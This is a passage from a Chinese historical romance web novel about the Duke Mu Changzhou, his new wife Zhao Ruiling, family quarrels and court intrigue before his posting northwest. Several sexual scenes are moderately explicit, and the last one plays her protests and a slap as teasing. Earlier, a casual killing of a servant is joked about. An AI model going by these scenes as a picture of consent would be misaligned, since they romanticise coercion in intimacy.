等他长大后,属于他的一切,他有把握能自己争回来。 他哭着跪在地上,仰头眼泪汪汪看着穆长舟:“阿耶,我保母都是担心我会被继母苛待,才会左了心思,求您放了她吧。” 穆长舟大马金刀坐在软榻上,“你来就是想跟阿耶说这个?人我今早就已经放了。” 穆嘉誉愣了下,下意识道:“不可能,保母没有回我院子啊!” “哦,我给她放到乱葬岗了。”穆长舟轻描淡写道。 穆嘉誉被噎得小脸煞白,多少盘算都被这话背后的意思给吓没了。 他呆呆抬起头看着自家阿耶,小嘴嗫嚅着说不出话来。 穆长舟看了眼滴漏,也没时间跟儿子多磨叽。 “我知道程家这些年都教了你什么,有野心不是坏事,但你得明白一件事,这天底下没有人会无缘无故拼了命为你好,有些代价将来都是要你拿属于你或者你阿耶我的东西来还。” 穆嘉誉心虚地低下头去,却又有点开心。 阿耶这些年……一直派人盯着他,是不是代表他在阿耶心里的地位比那个气人的郡主要高? 穆长舟意味深长看着穆嘉誉,“还有一件事你得知道,不管将来穆氏是不是你的,起码现在还是你老子我的。” “没成为真正的主人之前,胡乱对着别人的东西伸手,被剁了爪子去我也不会给你做主,我嫌丢人!” 穆嘉誉突然有些心梗,他抬起头满脸倔强。 “可昨晚你给那个女人做主了,那时候阿耶怎么不嫌丢人?” 穆长舟理所当然道:“因为她是我的枕边人,会陪我一辈子走下去,你将来却有自己的路要走,也会比你母亲强大,不需要我保护,咱们穆家的男人护媳妇是一脉相承,等你长大就知道了。” 穆嘉誉心更凉了,他根本不懂那一脉相承的是什么,他在程家看到的全是后宅里的算计。 但听阿耶的话,他能明显感觉出…… “所以,在阿耶心里,她比我重要?”穆嘉誉的眼泪又要掉下来了。 穆长舟见他这可怜样子,想到他到底是个孩子,也是自己的血脉,心有些发软。 想了想,他还是放软了声音安抚一下。 “不只是你,即便将来你有了弟弟妹妹,他们也都没有你母亲在我心里重要,阿耶对你们一视同仁还是能做到的!” 穆嘉誉:“……”突然就有点哭不出来了,甚至还觉得弟弟妹妹有些可怜是怎么回事? 在书房里‘哄’好儿子,实在是花费了些时间。 穆长舟算着时辰,估计是来不及再哄正院里那个放他进去陪她一起用午膳了。 他干脆在书房随便用了点午膳,先将西北那边送过来的消息处理了一下。 算着时辰差不多该到午歇的时候了,穆长舟这才起身,轻而易举避开陈尽然他们的把守,直接从正院后面的小道翻墙,打晕了个武婢,通过窗子进了卧房。 赵瑞灵刚要迷迷糊糊睡着,突然就感觉幔帐里起了风。 虽然风不大,却刮进来了一个格外沉重的大物件,不讲道理地将她一把揽进了怀里。 赵瑞灵气得翻身要拧他:“你怎么在自己府里也不干正经事儿呢!” 穆长舟闭着眼睛,唇角带笑握住娇娇软软的柔荑,顺势将人拉到自己身上抱住。 “娘子这是说哪里话,为夫很正经来陪睡……咳咳,赔罪。” 赵瑞灵:“……” 第45章 第45章为夫今日的表现,娘子可…… 就在赵瑞灵以为这是穆长舟最没底线的时候,他却又说出了更没有底线的话。 “若娘子不想睡,为夫伺候你做些别的也可以。”穆长舟缓缓揉捏着怀中娇软,声音沾染了些许喑哑。 “昨晚累到娘子了,不如为夫替你解解乏?” 用什么解乏? 用他那双不老实的手吗? 赵瑞灵实在是想不出该怎么吐槽了,咬着银牙一脚踹出去。 “不睡你就赶紧走!不许说话不许动,不然你一个月内都别想进正院了!” 穆长舟低笑着捏住赵瑞灵白皙纤细的褪儿,用轻柔却不失技巧的力道替她按压着,惹得赵瑞灵低低哼了几声。 他喉结不自觉微滚,仗着赵瑞灵背对着他看不见,用更加灼热的目光在那白皙欲飞的蝴蝶骨上扫过,说话却温柔又正经起来。 “好,我跟灵娘一起睡。” 赵瑞灵成亲的时候,于旻还在国子监进学。 赵瑞灵怕他看到自己成亲会想起于泓,也会产生自己再没有家人的错觉,心里会难过,并没有让他参加自己的大婚。 待得三朝回门之际,她跟穆长舟一起进了宫,谢过太后和圣人的赐婚,这才一起去了一趟袁府。 于旻提前一日就被袁夫人接到了袁府。 于旻没了阿耶,师父就如同他的父亲,说袁府是他的半个家也使得。 他又是赵瑞灵从小养大的,当了半个儿。 谢如霜毕竟是外嫁女,赵瑞灵也没入谢氏族谱,没有去英国公府的道理,倒袁家也就算回门了。 路上赵瑞灵本来还有点担心穆长舟会不高兴。 毕竟她跟袁翁的关系,不算她阿娘的话,她阿兄和阿旻都算是袁翁的学生。 这带着新夫君往前夫君先生门上去,传出去也许会让人笑话穆长舟夫纲不振。 穆长舟倒浑不在意,只把玩着赵瑞灵柔软的小手,凑在她耳畔轻笑。 “若娘子心疼我,不若夜里抱我抱得紧一些如何?” 赵瑞灵小脸儿瞬间通红。 这两天夜里他跟不知累的老牛一样,在幔帐里逮着可怜的她,就吭哧吭哧耕耘个没完。 她 每天都要睡到日上三竿,胳膊腿儿软得别说用力了,就是还能好好吃饭走路,都得亏了王媪祖传的揉按技巧。 她担心今儿个会闹笑话,昨晚就只许他胡闹了一次,若不是到后来她气得要离家……离床出走,这人还不肯早歇息呢。 他要是还跟前几天晚上一样,她哪儿来的力气抱紧他! 她用力抽出自己的手,狠狠瞪穆长舟一眼。 “那国公还是早些回府吧,我这人铁石心肠,实在不会心疼人!” 穆长舟被逗笑了,轻巧又将人揽回怀里,咬上她的耳朵。 “没事儿,我就喜欢铁石心肠的小兔子,晚上你咬得再狠一些也无妨。” 赵瑞灵:“……你有完没完!” 她一开始还以为咬疼了这人,就能跟以前跟阿兄在一起的时候一般,知道她不耐烦了,阿兄会顾及她的情绪,赶紧结束。 但放在这人身上,活似她不是咬了他,而是给他喂了五石散,叫他更孟浪的没边儿,翻来覆去的叫她愈发煎熬。 穆长舟见自家娘子那张雪白的小脸儿已经快跟红翡媲美,心知这就是快炸毛了,赶忙收了自己太过贪婪的嘴脸,正经起来。 “娘子不喜欢听,我就不说了,都听娘子的。”大不了他只做不说,听归听,将在外军令有所不受,幔帐里也是同样的道理。 正值壮年的男儿,在这种事情上就没有不贪的。 先前他娶了程氏后,很快就跟程氏产生了分歧,在那档子事儿上实在没得到多少快活。 而后他很快去了西北,程氏难产离世,他一为着尊重程邈在他危难时刻到底算是伸了援手,二为着程氏是替穆氏绵延子嗣才丢了命,三也是因为那时候狼覃军内部危机重重,干脆守了双倍的杖期。 两年后他很明显感觉出来后宅清净的好处,又听西北那些下属们议论后宅各种麻烦事儿太多,干脆就绝了再娶的心思,一直旷着。 如今好不容易遇上个各方面都合自己心意的小娘子,穆长舟才将将体会到,为什么那些下属明知后宅麻烦,还总痛并快乐着往后宅里进人了。 念着自己很快就要离京,穆长舟丝毫没有收敛的意思。 他此次离京最少也要半年功夫,该交的公粮总要都给娘子,免得娘子在圣都为他担忧嘛! 赵瑞灵丝毫没有察觉到夫君这份‘体贴’,到了袁府后,她也就顾不上穆长舟了。 穆长舟由袁翁和袁大郎负责招待,赵瑞灵带着于旻和袁夫人去了后宅。 当然,袁夫人刘氏是个很聪慧的女子,她只热情又不失分寸的关心了下赵瑞灵在醇国公府住的如何,就借口要操持午宴去了厨房。 刘氏一走,于旻立刻就上前抱住了赵瑞灵的腰,脑袋也扎进了她怀里,好一会儿不吭声。 其实自从于旻满了六岁后,听秀才巷那些秀才们总摇头晃脑说什么男女授受不亲,已经不太往赵瑞灵身边黏糊了。 就算来了圣都后,他也一直表现得很坚强,这会儿赵瑞灵感觉到衣裳渐渐温热,就知道这小家伙哭了。 她心里也微微发酸,“阿旻,我永远都是你阿嫂,你也永远都是我的家人,这一点不会变。” 于旻还是不肯抬头,好一会儿才瓮声瓮气道:“可同窗说,你不叫我参加你的大婚,是怕穆郎君不高兴。” “阿嫂,我是拖油瓶,往后你在醇国公府,我在袁府,我们不是一家人了呜……” 于旻实在是太难过了,没忍住哭腔,小身体在赵瑞灵怀里憋得直颤。 阿桥在一旁心疼的哟,恨不能把于旻揉在怀里喊心肝肉,抹着眼泪示意自家娘子好好安慰安慰受了大委屈的儿郎。 赵瑞灵却突然皱起眉,不走温情路子了,她实在走不来这条路。 她直接于旻捧起哭得眼泪汪汪的小脸儿,气得小脸儿快鼓成河豚了。 “谁?谁这么不修口德在你面前胡说八道?” “啊?”于旻愣住了,眼泪都忘了流。 “给我找麻烦就算了,还敢动心眼动到你身上,真是活腻了!”她气得立马站起身,拉着一脸懵逼的于旻要往外走。 “你跟我说,你那同僚姓甚名谁,是哪家的!” 于旻:“等等……” 赵瑞灵打断他的话往外冲:“我就不信一个孩子还知道在背后这样嚼舌头,肯定是他们家里人缺德,咱们现在就找他们去,我要让人砸了他们家!” 于旻吓得眼泪都收回去了,迷茫失措地看向阿桥。 快拦一拦啊,阿嫂要撒泼了! 阿桥听了娘子的话,却也回过味儿来,比赵瑞灵还气,丝毫不带阻拦的,直接上前抄起于旻,就跟着赵瑞灵往外走。 刘氏还在厨房里盯着午宴的菜品呢,就见贴身婢子慌忙过来禀报。 “不好了,不好了,瑞灵郡主……醇国公夫人盛怒,正往府外去呢!” 刘氏心下一惊,这是怎么话儿说的? 她赶紧往外撵,打听清楚到底为什么以后,一边头疼地拦着赵瑞灵,一边赶紧让人去跟公爹和夫君禀报。 结果袁修永和袁大郎包括穆长舟都到后宅来了。 可除了袁大郎一脸苦涩,袁修永和穆长舟倒都是杀气腾腾的模样。 “敢欺负我的弟子,他们怕是忘了小老儿我姓甚!” “走,我跟灵娘一起去!让他们看看我袁修永还骂不骂得动人!” 穆长舟只上前拉住赵瑞灵的手,轻轻抚着她的背。 “别跟不相干的人生气,娘子只管说去哪儿,你指哪儿我打哪儿。” 袁大郎愁得脸上满是褶子,弱弱地拦:“阿耶,国公,这传出去是要被弹劾的……” 袁修永一把将儿子推开:“你起开!我还怕他们弹劾,我就怕他们装缩头乌龟,回头到了太极殿上,我还要跟他们算一笔账!” 于是,就在袁大郎夫妻目瞪口呆,于旻伤心全无的情况下,一行人飞快往那说小话的范氏小儿家,也就是工部侍郎府上气势汹汹就去了。 到了范家门前,穆长舟也不叫人禀报,带着护卫直接踹开了大门。 “范柏小子,给小老儿滚出来,你倒跟我说说看,我袁修永的学生,怎么就是拖油瓶了!” 范柏不在家,倒是沐休的于旻同窗,范柏的小儿子和范夫人都在家,完全抵挡不住袁修永在门口的叫骂。 偏偏袁修永还不说脏字,引经据典地骂范柏不是个人,禽兽不如,叫周围的好些官宦人家还有富商家都听得叹为观止。 范柏接到消息过来的时候,正好听到穆长舟说话—— “于家二郎不只是袁翁学生,还是我家新妇从襁褓中养大,与亲弟无异,等于是我穆长舟的小舅子!” “要是再叫我听到,有人敢指着我家二郎的鼻子说他是拖油瓶,就别怪我不给你们脸面!” 范柏哭的心都有了,醇国公这会儿也没给范家脸面啊! 因着先前袁大郎弹劾他大儿范梁之事,引得大儿差事不顺,他在工部也是如履薄冰。 范柏心气不顺,在家里抱怨了几句……谁知道他这小儿子就敢往国子监去说闲话。 你说也就说吧,你还往人家面前去说! 他这俩嫡出的儿子,是不是都是生来讨债的? 范柏如今在朝中处境尴尬,丝毫不敢计较大门被踹的羞辱,好声好气上前给袁修永、穆长舟和赵瑞灵见了礼,又勒令自己的小儿子跟于旻赔了不是 ,这才总算是把一行人送走。 赵瑞灵和穆长舟干脆大张旗鼓送于旻回国子监,省得有些人明面上不敢得罪他们夫妻,私下里却拿个小孩子来撒气。 “阿旻你记住,往后阿嫂有的,都会有你一份儿!” “不管我身边的人,还是你嫂夫身边的人,但凡有人敢说你是拖油瓶,你就脱了靴子扔他脸上去,不许再回来哭了,记住了没?” 于旻呆呆点头,往后别人再敢说,他也不敢听了啊。 他从来没想过,过去被人背后蛐蛐儿后,只能指着阿桥上门骂人的阿嫂,现在都已经威风到可以直接带人砸上门的程度了。 早知道……他早叫陈小六效仿阿桥骂过去了,还用受这份憋屈? 他这会儿是一点都不伤心了,甚至有些兴奋起来,他可是阿嫂带大的诶,狐假虎威的精髓他再擅长不过了哇! 还没等兴奋的于旻被送回国子监,醇国公夫妇并太子太师袁修永在工部侍郎府大闹一场的事儿就在圣都传开了,甚至很快就传进了太后和圣人耳中。 太后倒是没多想,只高兴得多吃了一碗饭。 她不好直接撸了范家大儿的差事,这阵子正心气不顺呢,灵娘这也算是替她出一口恶气了。 圣人倒是想得多一些,“穆长舟跟范家有旧怨?还是范柏已经被皇叔收入门下了?” 他的贴身内侍小声禀报:“没听说范侍郎与淳阳王有来往啊……” 圣人目光幽深,他那个皇叔想要拉拢人,瞒过宫里的时候还少吗? 如若将来太子继位,能兄终弟及,自然就能从侄孙手里被拿捏到淳阳王手上。 若真有那一日,狼覃军指不定就能抓住清君侧的机会造反。 圣人虽不觉得穆长舟会跟淳阳王鱼死网破,可若没了活路,穆氏立的誓也比不过命重要。 他对内侍吩咐:“让钦天监赶紧选日子,在西北雪化之前,让那臭小子赶紧回西北。” “还有,让人盯着淳阳王府,有任何异动,都直接来报!” “诺!” 穆长舟这边,还不知道自己心心念念的事情,因为自家娘子突然来的脾气,即将得偿所愿。 他只在回到府里后,笑眯眯看着赵瑞灵。 “为夫今日的表现,娘子可还满意?” 赵瑞灵一抬头,就看到他狼一样的眼神,被盯得腰隐隐发酸,不自在地后退了一步。 “还,还行吧,还有进步空间,你,你别骄傲!” 穆长舟含笑应下,拉着她往餐桌前去:“好,那咱们先用晚膳,晚上娘子再好好跟为夫说说。” 结果用过晚膳后,进了幔帐,赵瑞灵根本就没有说话的机会。 她一张嘴,就被激烈的晃动打断要出口的话,咦咦呜呜许久不能语。 偏偏穆长舟还低头亲吻着她额角的汗湿,非常认真努力地前进着,嘶哑又谦逊地催她。 “娘子只管说活,让为夫怎么进步,我保证不骄傲。” 被冲击得快要哭出来的赵瑞灵:“……”你不骄傲,你能要点脸吗?! 第46章 第46章嫂夫到底是欺负还是没欺…… 如袁大郎所料,虽苦主范柏并未站出来喊冤叫苦,御史台替他喊,无数弹劾醇国公夫妇的奏疏进到了御前。 御史台甚至连自家的御史中丞,也参了个愚孝不堪为官的罪名。 袁大郎倒不在意,他要是真把老子锁家里,御史台能直接参他忤逆。 左右重点不在他身上,袁大郎就象征性地被上官罚了一个月俸禄,连闭门思过都没有。 但御史台就醇国公公然欺辱圣人钦封的朝廷官员一事,咬死了不放,直要圣人惩处醇国公。 圣人留中不发,却明着叫内侍催钦天监算适合出发西北的日子,又引得御史们更加慷慨激昂起来。 有不管不顾热血上头的,就有聪慧冷静,从表面看出真相来的。 仪秋宫里,太后听了秦媪的禀报,若有所思。 “这阵子西南还有江南各地刺史和巡察使安排下去,动静不小,先前御史们一直在弹劾各地新旧官员冲突的乱象,圣人此举却是助了中书省一道啊。” 毕竟各地安排官员的决策,分封官员的敕令,都由中书省来安排,巡察使却归御史台管辖,三方牵制之下,旦有矛盾,最先发作的就是能直达天听的御史台。 可圣人真就这么无私,为了让大昭各地州、郡、县安定下来,愿意由着她让杨矛延安插人手? 秦媪略思忖,眼睛瞪大了些:“您是怀疑,杨氏跟韩氏一样,都投靠了圣人?” 太后想起先前韩延年夫人去找赵瑞灵时说的话,唇角的笑意有些泛冷。 “到底是谁背叛了哀家,如今还说不准,但若他殷氏以为哀家人在深宫,就跟那拔了牙的老虎一样,却是打错了算盘!” “不急,琰儿和太子年纪都还小,还缺个契机,先看看圣人到底想做什么。” 不管韩延年还是杨矛延背叛,她都会让他们付出下辈子都会后悔的代价。 他们投靠她这么多年,难道她还能没有任何后手的将他们推上高位不成? 前朝热闹,后宫看热闹,在喧嚣中有种格外诡谲的安静,众人都等着圣人下旨。 但一直到了正月底,宫里也没传出任何旨意,全然由着御史台越谏越激烈。 此事也慢慢从宫里传到了圣都的高门大户,也传到了国子监。 虽还没有定论,但如今再没人敢轻易在于旻面前胡说八道了。 于旻过去心里不安,才会装包子,他如今有底气,怎么能辜负阿嫂的教导,下巴抬得高着呢。 别说,他这嚣张的小模样,还真引来了一部分愿意以他为守的同窗。 有些是家里钦佩醇国公功绩,或家里有心钻营,都特地叮嘱了家中的小郎们,让他们知道什么话该说,什么话不该说。 眼看着马上就龙抬头了,宫里还没有消息,有些心里有念想的武将坐不住了。 这日,跟在于旻身边的一个武将家的小郎一脸担忧看着于旻,欲言又止,止言又欲。 一直到快要下学,于旻要带着陈小六去吃晚食了,他才拦住于旻。 “阿旻,有句话我想了许久,实在不知道该不该跟你说。” 于旻挥挥小手:“那就别跟我说了,为难自己干啥?有功夫不如多吃一碗饭,明日骑射的时候也不至于饿肚子。” 对方:“……”你就不能别天天惦记着吃? 那脸上的肉都快横着长了啊! “我还是跟你说吧,不然我怕你往后知道了难过。”对方见于旻要走,不敢卖关子了,赶忙将家中叮嘱的话一股脑说了。 “这阵子御史台一直在弹劾醇国公夫妇,说醇国公教妻不严,还欺辱朝廷命官,是对圣人不敬,闹得沸沸扬扬,圣人始终不曾阻止,不知道是不是不高兴呢!” “我们都知道你跟你阿嫂感情好,可要是醇国公因此没办法再掌管狼覃军,若圣人怪罪下来,醇国公说不定会对你阿嫂发脾气,甚至迁怒你……你还是提前跟你阿嫂说说,为你俩留条后路为好啊!” 于旻听愣了,他倒是不担心穆郎君迁怒他,左右他认可的亲人也就是阿嫂和阿桥。 可若穆郎君真的因此被圣人惩罚,甚至没办法再做大将军了,他会不会打阿嫂啊? 于旻在国子监一愁就是好几日,连夜里做梦都是阿嫂被欺负的嗷嗷大哭的场景,实在担忧得不得了。 这日沐休,袁家再来人,于旻就忍不住了,要求先去一趟醇国公府。 先前赵瑞灵就跟刘氏私下里说过,之所以没将于旻接回醇国公府,是因为她刚嫁过去,还没理顺府里的事务。 等理顺了,往后沐休只要袁翁没吩咐,她肯定是要让于旻回醇国公府的。 刘氏盘算着日子也差不多了,特地叮嘱过马夫,只要老太爷没叮嘱,不管于旻想去醇国公府还是袁府都由着他。 因此听了于旻的吩咐,马夫丝毫没有异议地驾着马车往醇国公府去了。 甄顺也早跟醇国公府的门房吩咐过了,于家二郎来醇国公府,只当家里 的二郎伺候,绝不能让小郎觉得自己是个客人,不用禀报直接引对方到正院。 因此于旻非常顺利地被送到了正院门口。 本来仆从还要进去禀报,于旻听说穆长舟在家,留了个心眼子,赶紧拦住对方,自个儿偷偷进了正院。 当然,也就他自以为偷偷的,实则陈尽然还有赵安素,早就听到了外头的动静,也看到了这位小郎君。 只是见对方……想玩儿,大概是要给郡主一个惊喜,都唇角抽了抽,只当没看到。 于旻这才顺利从廊庑下头弯着身子,一路如入无人之境地绕过影壁,靠近了正院的天井。 他刚探出个脑袋去,都不用细打量,就一眼瞧见了阿嫂坐在正房右侧的窗户边上,鼓着脸儿,捏着帕子在窗边呜呜哭,看起来像是气狠了。 于旻心里咯噔一下,所以穆家老贼真的欺负他阿嫂! 他用力钻进了小手,气得浑身发抖,只恨自己年纪还小…… 更恨自己就算年纪大了也打不过那个老贼呜呜呜…… 他正抹眼泪的时候,就见到从郎君变老贼的那颀长身影,气定神闲走到了赵瑞灵身边,微微弯腰,噙着笑凑在赵瑞灵耳畔说话。 “娘子这是舍不得我走?我就知道娘子心疼我……嘶!” 赵瑞灵气得一脚踩在穆长舟的鹿皮靴上,抬起头杏眸通红,看样子是真要气得掉眼泪了。 “你明知道我三舅母和三舅舅还有六表兄会来,还不叫人叫醒我,现在可好了,所有人都知道我每天都日上三竿才起床了!” 于旻在角落里有些迷茫,阿嫂过去也没早起过啊,所以她这么气……肯定还是被人欺负了! 穆长舟微微挑眉,腰压得更低,几乎凑到了赵瑞灵耳根子上。 “你是想见你舅舅和舅母,还是想见你那位无缘的表兄?” 赵瑞灵噎了下,有些心虚地梗直了脖子:“我不知道你在说什么,从进了圣都到现在,我还没见过六表兄呢,总得认认人啊!” “哦?不是想看看差点成了你夫君的表兄,会不会比为夫我更体贴人吗?” 赵瑞灵一听到这儿,也顾不上心虚了,用泛红的眸子瞪他。 “你还知道自己不体贴人?反正等你走了我肯定也要见见表兄的!” 于旻拳.头攥得更紧,阿嫂亲口说了,嫂夫不体贴,肯定是欺负她了呜呜呜~怪他太弱小,救不了阿嫂。 他在心里紧着思考该怎么保护阿嫂,很快脸上就露出决然的神色。 实在不行,他就不去国子监了,每日守在阿嫂身边。 这样嫂夫要是欺负人的话,他站出来替阿嫂挨打! 穆长舟还不知道便宜小舅子等着被他欺负,只微微眯眼,伸手捏了捏赵瑞灵被滋润得愈发娇嫩的小脸儿。 “那你说说看,我哪儿不体贴了?我是白天没喂你吃饭,还是晚上没听你的慢一些?” 赵瑞灵气得好悬咬到自己的腮帮子。 她不是一个爱动手的人,主要也是动不过,可是在穆长舟面前,她真的忍不住打人的冲动。 她抬起手去拧他:“说好的嫁给你能还我哥清静,清静呢?嫁给你后,我连一个整觉都没睡……唔!” 穆长舟顺势握住赵瑞灵拧过来的小手,笑得比狐狸还贼,弯腰吻住了赵瑞灵没能说完的话。 因为是白日,还开着窗户,他也没太过孟浪,只轻轻碾着她嫣红的唇瓣笑得薄唇轻扬。 更加暧昧的话语,在唇齿间被他含混着送入赵瑞灵口中。 “为夫就是心疼娘子睡不了整觉,才不舍得叫人喊醒你,想叫你睡饱了,晚上才有力气不是?” 赵瑞灵:“……唔唔唔!”这人到底要不要脸啊啊啊! 于旻蹲在廊庑下头,好不容易鼓足了勇气,猛地站起身来,还没来得及往前冲,突然就看到了这一幕。 高大健壮的身影像个猛兽一样几乎覆住了他阿嫂的身影,迫得他阿嫂抬起头,小脸儿通红地被…… “哎呀!”于旻在国子监也知道非礼勿视的道理了,不小心惊呼出声,赶紧捂住眼睛。 他疑惑极了,怎么感觉阿兄好像也有这样贱兮兮的时候呢?阿桥还说夫妻都这样。 那……嫂夫到底是欺负还是没欺负阿嫂啊? 窗内正黏黏糊糊吵架的两人,听到了动静。 赵瑞灵赶紧推开穆长舟,两人一起看出去,就看到用小手捂着脸,还挓挲着手指的于旻,露出一双震惊又疑惑的大眼睛。 穆长舟被逗得笑出声来:“哟,二郎来了?快来快来,你阿嫂今日没见上表兄不高兴,让她看看你也行。” 赵瑞灵:“……” 她忍了又忍,还是没忍住一巴掌盖在了穆长舟胸前,用力推他一把。 “你快滚!大郎还等着你教他刀法呢!” 穆家大郎自打先前在正院吃了憋,然后又在书房体会过他阿耶的区别对待以后,很是萎靡不振了几日。 也不知他怎么想的,萎靡过后,他竟然又斗志昂扬地跑到了正院来,非要跟她同吃同喝。 穆嘉誉还振振有词,“我阿耶说你是他最重要的人,我非要看看,你到底比我好在哪儿!” 然后他一大早趁着穆长舟不在房里,就蹲在她窗户边上虎视眈眈,等她起来后,吃饭的时候继续瞪她,用完了晚膳还……最后被穆长舟给提走,直到出门还眼巴巴看着赵瑞灵。 赵瑞灵简直要气笑了,这醇国公府后宅确实没有其他女人需要她操心,可就穆大郎一个孩子,竟然让她体会到了后宅争宠的激烈。 如此三日下来,赵瑞灵就不耐烦了,直接将穆嘉誉扔给穆长舟。 /:. “要么你给他找点事儿干,要么你跟他过去吧,别来烦我!” 她每天起来后能清醒着的时候就那么点,还得趁着穆长舟在圣都的时候,赶紧先把醇国公府给理顺。 忙得她连出去逛街的机会都没有,这爷俩还总给她找事儿,实在是气人。 穆长舟默默把穆嘉誉提走,只字不提,一开始要让大郎知道什么叫后娘的是他娘子,不耐烦的还是他娘子。 这大概才是最真实的后娘吧。 他已经跟赵瑞灵商议过,这回回西北,他大概率会跟西戎要打场大的,实在顾不上穆嘉誉,所以会把孩子留在府里。 所以这孩子往后是要跟着赵瑞灵生活的。 穆长舟也想在走之前教教他穆家的规矩,省得到时候娘子气哭了,他远在西北鞭长莫及。 穆长舟看了眼时辰,算着也差不多了,小练半个时辰也该准备用午膳了,他直接把于旻也提走了。 “走,跟嫂夫一起去见见你大外甥,往后嫂夫不在圣都,穆氏就靠你们两个撑着门户了。” 被跟着小鸡子一样提走的于旻:“……”他撑门户? 他还没有阿嫂高啊啊啊! 赵瑞灵听着穆长舟按那日送于旻时的戏言称呼自己,被逗笑了。 角落里伺候的阿桥这才站出来,调侃:“娘子还是对国公好一些吧,国公的自称要是传出去,往后人家还不嘲笑这穆氏要变成赵氏了,满圣都也找不出这样的郎君来呢。” “他就是脸皮厚罢了!”赵瑞灵轻哼哼了几声。 阿桥左右看了看,见无人,凑近了小声提醒。 “郎君对娘子的看重不只是府里的人知道,满圣都怕是都知道了,可您总是对郎君甩脸子,只怕郎君误会您心里没有他。” “郎君还不知道什么时候要去西北,到时候你们分隔两地,时间久了,这情分可就淡了,谁知道西北还有没有等着钻空子的小女娘呢。” 赵瑞灵愣了下,面上的笑意落了下来,沉默了。 她知道穆长舟对她好,她也很 感动,可她实在是不敢对这人交心。 一则是他坑了她太多回了,她要是这么轻易捧着一颗心给他,被他拿捏得死死的,谁知道他会不会真心。 她都不用想,今儿个她要是跟穆长舟温柔说一句情话,过不了夜他就能把她坑死在幔帐里! 二则……她还有些放不下阿兄,或者说不敢放下阿兄。 其实她和于泓之间,要说夫妻情深其实也不算,但他们自小一起长大,那种互相扶持的情分是谁都比不得的。 她若是就这么放下了阿兄,心里装进去另外一个男人,怎么对得起阿兄为了给她一个更安稳的将来,拼命读书把命都读没了呢。 即便再没良心,赵瑞灵也清楚没有于家,自己活不到这么大。 “好了,去准备午膳吧,准备些阿旻喜欢吃的菜,大郎喜欢的菜也备上,别厚此薄彼。”赵瑞灵拍拍脸颊,没回答阿桥的话,只如此吩咐。 阿桥叹了口气,她大概也知道娘子为什么迟疑,实在不好再劝。 可乔媪说得对,如今娘子和郎君休戚与共,将来储位之争还不知道是什么结果,可圣人却不像是个长寿的呢。 娘子毕竟是谢氏女之后,危机还远远没过去。 娘子手里的筹码越多,就越安全,而醇国公的感情,就是这场大戏最举足轻重的一环,她只盼着娘子能早些想开。 但宫里没给赵瑞灵慢慢想开的时间。 于旻被送回国子监的第二日,宫里就来醇国公府送了圣旨。 钦天监算出,二月十三大吉,宜远行。 圣人下旨令醇国公十三日一大早出发去西北,坐镇狼覃军,对抗越来越张狂的西戎人。 听清楚旨意后,赵瑞灵下意识看向穆长舟。 恰好,穆长舟也低头看她。 今日已经二月初八了,还差十日他们大婚才满一个月。 结果等不到一个月,他就要走了……赵瑞灵用力地抿紧了唇瓣。 第47章 第47章她还能活到他离京吗?…… 内侍回到宫里后,与圣人感叹:“瑞灵郡主与醇国公相识于微末,因着醇国公才有了如今的造化,郡主对国公怕是情根深种了!” 圣人挑眉,来了兴致:“怎么说?” “得知国公要离京,郡主难过得话都说不出来,甚至顾不上谢恩,捂着脸跑回了正院。”内侍说话的时候,还记得赵瑞灵起身时的颤抖,更加感慨。 “醇国公对郡主也用情不浅,见到郡主离开,转身就往正院追过去了,还叫所有人都不许靠近,想必是要亲自安慰郡主。” 圣人听得眸底闪过连连异彩,不怕两人感情深,就怕两人没感情。 如果这对小鸳鸯足够情深,分隔两地就更容易牵制对方,将来无论哪个遇到危险,也更好解决另外一个…… 圣人对心里紧着忖度的时候,醇国公府已经被清了场的内院里,却全然不像内侍说得那般温情脉脉。 赵瑞灵跟个小乌龟似的被压在软榻上,呜呜嗷嗷挥舞着手叫嚷。 “你快放开我,天还亮着,要是让人看见,我不活了!” 穆长舟慢条斯理将赵瑞灵玛瑙色的中裤扔在旁边的扶手上,轻轻摩挲两片圆润光滑之地。 “你怕人看见我们白日宣淫,就不怕旁人看见你得知自己的夫君要远征西北,你却差点憋不住要笑出来?” 赵瑞灵:“……我捂脸了!” 她还咬住舌尖,把阿兄去世的情形都想了好几遍,这混蛋到底怎么看出来的! “哦,所以灵娘确实盼着我赶紧离京是吧?” 清脆一声巴掌在屋内响起。 穆长舟有些咬牙切齿:“是不是最好我再也别回来,你就更高兴了?” 赵瑞灵被穆长舟的动作惊呆了,她挨打了? 她被人打屁……她涨红着小脸反手去挠穆长舟,整个透着一股子虚张声势。 “你胡说!你就是这么疼我的?我要离家出走!” 穆长舟轻而易举攥住她的小手捏了捏,“你再乱动,咱们就进去说。” 赵瑞灵巴不得赶紧进卧房里说呢。 软榻就在堂屋,虽隔着扇屏风,可但凡有伺候的人进来了,影影绰绰总能看到些许不雅的画面,她还要脸的啊! 她赶忙道:“那咱们先进屋,进……唔!” 极致的酸掌让她话都被干扰得断断续续。 她两只胳膊也都被拢在自己胸前,一低头就能看到大手叠着小手露出来的软白,这人已然…… “唔……你混蛋!我又没乱动!”赵瑞灵软着嗓音,气喘吁吁才把话说囫囵了。 穆长舟偏着头,仔细打量她的表情,见她紧蹙的秀气眉头不自觉舒展开,才放出了自己的力气和手段,先填饱自己,安抚刚才受到的伤害。 他还以为这阵子两人浓情蜜意,赵瑞灵不说想要陪他去西北,至少也该舍不得他。 却没想到那内侍圣旨都还没念完,她那双黑白分明的眸子就噌得亮了起来。 等内侍说完了他要出发的日期后,她咬住舌尖,紧抿唇依然控制不住微微上扬的唇角,好悬叫穆长舟气得笑出来。 旁人倒是都以为赵瑞灵是舍不得他呢。 醇国公也要脸啊! 他让人如此误会着,可这账总得找回来。 “娘子跟我说说看,你为什么这么巴不得我走?嗯?”穆长舟覆着那双小手,十指交握,死死压在黼黻纹的姜地色软垫上问。 他只恨不能魂儿都钻进这小没良心的心窝子里看看,那里到底是不是黑的。 赵瑞灵张着小嘴,水汪汪的眸子里渐渐起了雾,晃悠得越来越茫然,大脑除了刺激外一片空白,根本说不出话来。 过去了不知道多久,她软塌塌抱着穆长舟的脖颈儿窝在他怀里,看着窗缝里透进来的斑驳阳光上下翻飞,这才被逼得想起他刚才问了什么。 “呜……我知道夫君想回去,替你高兴……唔!” “再说!” “呜呜我想让你多赚点军功,咱们…咱们约定好的,你要…要护着我和谢氏周全…唔…混蛋!” “你再不说实话,咱们就进屋说。” 累得眼角沁上了泪珠的赵瑞灵:“……” 这会儿你想起进屋来了,早干嘛去了! 都过去那么长时间了,现在要是进屋,这人要干嘛就可想而知了,她还不想死呜呜呜…… 赵瑞灵低头,愤愤咬住他肩头的衣裳。 